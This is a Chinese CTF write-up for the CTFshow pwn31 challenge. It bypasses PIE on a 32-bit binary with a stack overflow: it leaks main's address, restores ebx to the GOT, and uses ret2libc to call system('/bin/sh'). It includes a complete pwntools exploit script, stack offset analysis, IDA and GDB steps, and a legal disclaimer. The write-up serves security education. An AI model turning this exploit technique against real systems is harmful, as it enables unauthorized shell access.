参考文章:CTFSHOW-PWN入门-前置基础(29-34)_ctfshow pwn-CSDN博客
pwn31 | 网络幻影
【CTFshow-pwn系列】02_前置基础【pwn 031】详解:绕过 PIE-CSDN博客

1.介绍: ret2libc-绕过PIE

2.查看文件信息

32位程序,Canary保护没有开启,NX和PIE保护开启

代码整体逻辑和pwn 030差不多,ctfshow函数中的read函数存在栈溢出,但是本题开启了PIE,开启了地址随机化,就不能使用上题的利用方法了

由于此题开启了PIE,所以我们无法直接查看函数的真实地址,但是观察程序运行时有:

1
printf("%p\n", main);

可以打印出main函数的实时地址,那么攻击思路就有了

3. 攻击思路

printf()函数 输出了main函数的实时地址,利用公式:

1
程序加载基址 (Base) = 泄露的 main 地址 - 静态 main 偏移

有了base之后,同理我们可以得到重定位后write()等函数在程序中的地址

做到这里就和pwn 30 一样了

4. 攻击脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

context(arch='i386', os='linux', log_level='debug')

io = process('./pwn')

elf = ELF('./pwn')

libc = elf.libc

# 绕过 PIE:泄露基址
# 接收程序输出的 main 函数地址(16进制字符串)
main_addr = int(io.recvline(), 16)

# 计算程序在内存中的加载基址 (Binary Base)
binary_base = main_addr - elf.sym['main']

# 计算重定位后的关键地址
ctfshow_addr = binary_base + elf.sym['ctfshow']
write_plt = binary_base + elf.plt['write']
write_got = binary_base + elf.got['write']
ebx_val = binary_base + 0x1fc0 # GOT 锚点,后面详解

# 阶段一:泄露 Libc 地址
# 构造 Payload 1
# 结构:填充偏移(132) + ebx修复(4) + EBP填充(4) + 函数入口 + 返回地址 + 参数
padding = b"A" * 132
payload1 = padding + p32(ebx_val) + b"AAAA" + p32(write_plt) + \
p32(ctfshow_addr) + p32(1) + p32(write_got) + p32(4)

io.send(payload1)

# 接收泄露出的 4 字节 write 地址并转换为整数
write_addr = u32(io.recv(4))

# 阶段二:计算 Libc 基址
libc_base = write_addr - libc.sym['write']

# 计算 system 函数和 "/bin/sh" 字符串在内存中的绝对地址
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

# 阶段三:Get Shell!
# 构造 Payload 2:调用 system("/bin/sh")
# 填充偏移 140 (132+4+4) 后直接覆盖返回地址
payload2 = b"B" * 140 + p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)

io.send(payload2)

io.interactive()

5. 分析与复盘

此题主要是解决在PIE开启后无法得知程序加载基址的问题,重点在payload1的构造上

1. 寻找溢出点与偏移:

逻辑计算:

缓冲区 buf 大小:0x84字节(十进制 132)。
相对偏移:buf 位于 ebp-0x88。0x88等于十进制 136。

栈结构分解:

132 字节 (buf):从 ebp-136 到 ebp-4。
4 字节 (ebx):位于 ebp-4,紧跟在 buf 后面。
4 字节 (ebp):位于 ebp+0。
返回地址:位于 ebp+4。

结论:

到达 ebx 的偏移量为 132 字节。
到达 返回地址 的总偏移量为 136 + 4 =140字节

2.计算程序基址 (PIE Base)

本题给出了 main 的实时地址,我们通过它找回“原点”。

1
程序基址 (Base) = 泄露的 main 地址 - 静态 main 偏移

3.ebx修复

<1>ebx作用

在 i386 的 PIE/PIC 程序里,ebx 常被编译器当作“全局基址寄存器”使用。

它的作用是:

1.给 GOT/全局数据访问提供基址

代码里常见这种形式:通过 ebx + 偏移 取地址或数据。

2.支撑 PLT 的间接调用流程

某些外部函数调用会依赖 GOT,而 GOT 相关寻址又依赖 ebx 当前值正确。

3.保持“位置无关”

程序被 ASLR 随机加载后,绝对地址会变,但通过 ebx + 相对偏移仍能正确定位到目标。

一句话:在 i386 PIC 约定里,ebx 要作为 GOT 基址寄存器,很多全局访问和 PLT 跳转都按 ebx 相对寻址。

<2>为什么需要’修复’ebx

一句话:栈溢出会破坏保存的 ebx,导致后续动态链接调用失效,所以必须修复

通过前面的栈空间分析,我们得知在溢出利用时,我们需要填充136字节的数据才能覆盖到ebp,而ebxebp-4 的位置处,所以我们需要构造的payload应该是:

1
payload = 填充偏移(132) + real_ebx(4) + EBP填充(4) + 函数入口 + 返回地址 + 参数

所以“修复 ebx”的本质是:

在劫持控制流后,把 ebx 恢复到程序本来期望的值,让后续的 plt/got 逻辑还能正常工作。

<3> 怎么修复ebx

通常方法是:real_ebx = base + 常量偏移

关于这个常量偏移,给出下面几种方法:

<1>反汇编直接看

在漏洞函数或其调用链里找这类指令:

1
2
call __x86.get_pc_thunk.bx
add ebx, 立即数

这个 立即数 通常就是要的那个固定偏移

含义:程序在 PIE/PIC 下恢复全局基址到 ebx,后续 PLT/GOT 依赖它

在IDA中:

双击_GLOBAL_OFFSET_TABLE_得知:ebx相对程序基址的固定偏移为 0x1fc0

原理及为什么能这么做:

  1. 我们在 IDA 里看到 .got 段起始是 00001FC0 并且符号 _GLOBAL_OFFSET_TABLE_” 就落在这个位置。 这说明在文件视角(未加载前),GOT 的模块内偏移是 0x1fc0

  2. 这个二进制是 PIE/PIC,运行时会整体平移
    ASLR 只改变模块加载基址 base,不改变模块内相对偏移。
    所以运行时 GOT 地址一定是:

    1
    GOT_runtime = base + 0x1fc0
  3. 在 i386 PIC 约定里,ebx 要作为 GOT 基址寄存器很多全局访问和 PLT 跳转都按 ebx 相对寻址。也就是说,执行到这些代码时,ebx 应该指向 GOT(或与 GOT 固定关系的位置,本题就是 GOT 本身)

  4. 因此可推出 ebx 相对 base 的固定偏移:既然 ebx 需要等于 GOT 运行时地址,而 GOT 是 base+0x1fc0,所以:

    1
    ebx = 0x1fc0 + base
<2>从 GOT 基址反推(不推荐)
  • 先确认 ebx 在该函数里是“全局基址寄存器”。
  • 再看对全局对象/GOT 的访问形式,比如 [ebx+xxx]、[ebx-xxx]。
  • 用已知符号位置(如 GOT、全局变量)反推出 ebx 应该等于 base + 某常量,这个常量就是你在 exp 里加的偏移。

原理:“地址方程反解”

PIC 代码访问全局对象时常见形式是 [ebx + disp]。
设某符号真实地址是 base + sym_off。
又有访问关系:sym_addr = ebx + disp。
联立可得:ebx = base + sym_off - disp。
右侧除了 base 外都是静态已知,最后得到 ebx = base + 常量。
为什么可行:

编译器把全局访问统一改写成“基址寄存器 + 位移”,所以只要你认出一个可靠的符号引用,就能把 EBX 的相对偏移算出来。用多个引用点交叉验证,结果应一致。

<3> GDB 动态调试
  • 先搜集一下信息

  • 在正常流程(不触发栈溢出)下断点到调用 xxx@plt 前。

    演示:

    这里我们把断点打在ctfshow,

    • 然后ni步过,直到read@plt前,查看并记录ebx地址
    • vmmap看程序加载地址

  • 到这里我们知道:

    1
    2
    3
    ebx_addr = 0x56556fc0
    base = 0x56555000
    hex(ebp_addr - base) = 0x1fc0
宇宙级免责声明
重要声明:本文仅供合法授权下的安全研究与教育目的!
  1. 合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
  2. 道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
  3. 风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
  4. 合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
  5. 最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
  6. 数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
  7. 免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
安全研究的正确姿势:
  • 先授权,再测试
  • 只针对自己拥有或有权测试的系统
  • 发现漏洞后,及时报告并协助修复
  • 尊重隐私,不越界
警告:技术无善恶,人心有黑白。请明智选择你的道路。
声明参考链接:https://blog.csdn.net/2402_84408069/article/details/157263936